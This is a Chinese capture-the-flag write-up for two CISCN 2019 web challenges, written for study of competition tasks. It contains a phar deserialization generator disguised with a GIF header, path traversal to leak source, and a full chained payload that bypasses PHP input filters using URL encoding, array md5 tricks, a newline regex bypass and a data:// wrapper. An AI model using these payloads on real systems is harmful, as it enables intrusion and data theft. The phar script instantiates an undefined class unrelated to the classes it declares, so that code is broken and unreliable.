题目:
https://github.com/neuqcsa/ctf/tree/master/ciscn2019_%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%E7%BA%BF%E4%B8%8B%E8%B5%9B

day1

web1

这道题考察的是phar反序列化
参考:https://www.cnblogs.com/iceli/p/9564061.html
在下载的时候抓包把filename改成../../xxx.php可以得到源代码
可以发现在delete.php里的

1
2
3
4
5
6
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
}

把$filename传给了open方法
在class.php中有

1
2
3
4
5
6
7
8
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

$filename最终被传给了file_exists()
而file_exists()是可以触发phar反序列化的
于是用这段代码生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class File{
public $filename = "/flag.txt";
}
class User {
public $db;
}
class FileList {
public $files;
}
//生成对应可被利用的对象
$o = new foo();
   $o->ha='echo "error";';
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

day2

web1

绕过空格

web2

这其实是2019北邮中学生网安杯一道题改过来的,难度还是降低了的(参见https://www.anquanke.com/post/id/170299)

通过index.php底下的hint可以看出存在文件包含,
直接用?src=xxx就能拿到index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Null ... Null ... Null ... <html>
<body>
<!-- ?src -->
</body>

<?php
echo "Null ... Null ... Null ... ";

if(isset($_GET['src'])) {
die(highlight_file('index.php', true));
}

error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('Hello Hack.');
}
}

if($_SERVER){
if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING'])) die('Hello Hack..');
}

if(isset($_GET['cyber'])){
if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){
die('Hello Hack...');
}else{
if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){
$getflag = file_get_contents($_GET['flag']);
}else
die('Hello Hack....');
if(isset($getflag) && $getflag === 'security'){
include 'flag.php';
echo $flag;
}else die('Hello Hack.....');
}
}
?>

可以看到需要绕过几个地方

  1. 1
    2
    3
    4
    5
    6
    7
    /*$_REQUEST是包含了 $_GET,$_POST 和 $_COOKIE 的数组*/
    if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
    /*禁止value中出现字母*/
    if(preg_match('/[a-zA-Z]/i', $value)) die('Hello Hack.');
    }
    }
    php是按照环境变量,get参数,post参数这样的顺序去解析$_REQUEST的,

所以只要post提交一个同名的参数,其值为数字,这样同名的get参数就可以包含字母了

  1. 1
    2
    3
    4
    5
    if($_SERVER){ 
    /*$_SERVER['QUERY_STRING']是url后面get参数的部分*/
    if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING'])) die('Hello Hack..');
    /*这里禁止get参数中出现cyber,flag,ciscn,但根据后面的代码我们必须要有这三个get参数*/
    }

    这里利用的是$_SERVER[‘QUERY_STRING’]是不会进行url解码的,所以只要把cyber,flag,ciscn进行url编码即可绕过

  2. 1
    2
    3
    4
    /*要求cyber参数的前32位和它的md5相同*/
    if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){
    die('Hello Hack...');
    }

    这里可以用数组绕过,传入cyber[]=x(注意cyber要url编码)
    (这种绕过方法要求php版本在5.3以上)

  3. 1
    2
    3
    4
    5
    /*ciscn参数必须匹配正则^ciscnsec$但又不能直接是ciscnsec*/
    if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){
    $getflag = file_get_contents($_GET['flag']);
    }else
    die('Hello Hack....');

    /^ciscnsec$/没有加修饰符D,当字符串以一个换行符结尾时, 美元符号还会匹配该换行符,
    因此在ciscnsec的url编码后面加%0a(换行符的url编码)绕过

5.

1
2
3
4
5
6
7
8
9
10
if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){
$getflag = file_get_contents($_GET['flag']);
}else
die('Hello Hack....');
/*要让$getflag的值为security*/
if(isset($getflag) && $getflag === 'security'){
include 'flag.php';
echo $flag;
}else die('Hello Hack.....');
}

使用data://伪协议
传入flag=data:text/plain,security

最终的payload为

1
2
?%66%6c%61%67=data:text/plain,security&%63%79%62%65%72[]=x&%63%69%73%63%6e=%63%69%73%63%6e%73%65%63%0a
同时post提交flag=123&ciscn=123